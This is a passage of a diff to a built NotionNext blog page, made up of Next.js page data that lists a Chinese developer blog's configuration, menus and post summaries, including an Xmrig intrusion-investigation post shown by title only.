-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true},"page":"/[prefix]","query":{"prefix":"#"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","date":{"start_date":"2021-07-02"},"type":"Notice","slug":"#","summary":"类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告","title":"公告","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:18:35.186Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"📔","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":"","blockMap":{"block":{"f53bfc30-59bb-4890-ba28-0b045040aa5e":{"value":{"id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","version":3,"type":"page","content":["ed131e31-8c4e-4a1d-ab1c-e0413305a17c","0594fd5d-89de-4d48-a947-800290cd93ea","7f67629a-0082-4473-928f-d31d356b7841","c1ecbb45-e326-47ea-8556-c7d10bb170ed","f3004e35-d892-4b8c-b6d4-5509025ab04c","470ea75c-8d3c-4b36-9fdf-5c8b9f834ed5","26b17beb-0524-4379-8298-b4058fc13093"],"format":{"page_font":"mono","page_icon":"📔","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"cd84cb1a-43d2-4f24-94d2-fa6fc58f8032","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337114,"last_edited_time":1705594715186,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"cd84cb1a-43d2-4f24-94d2-fa6fc58f8032","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-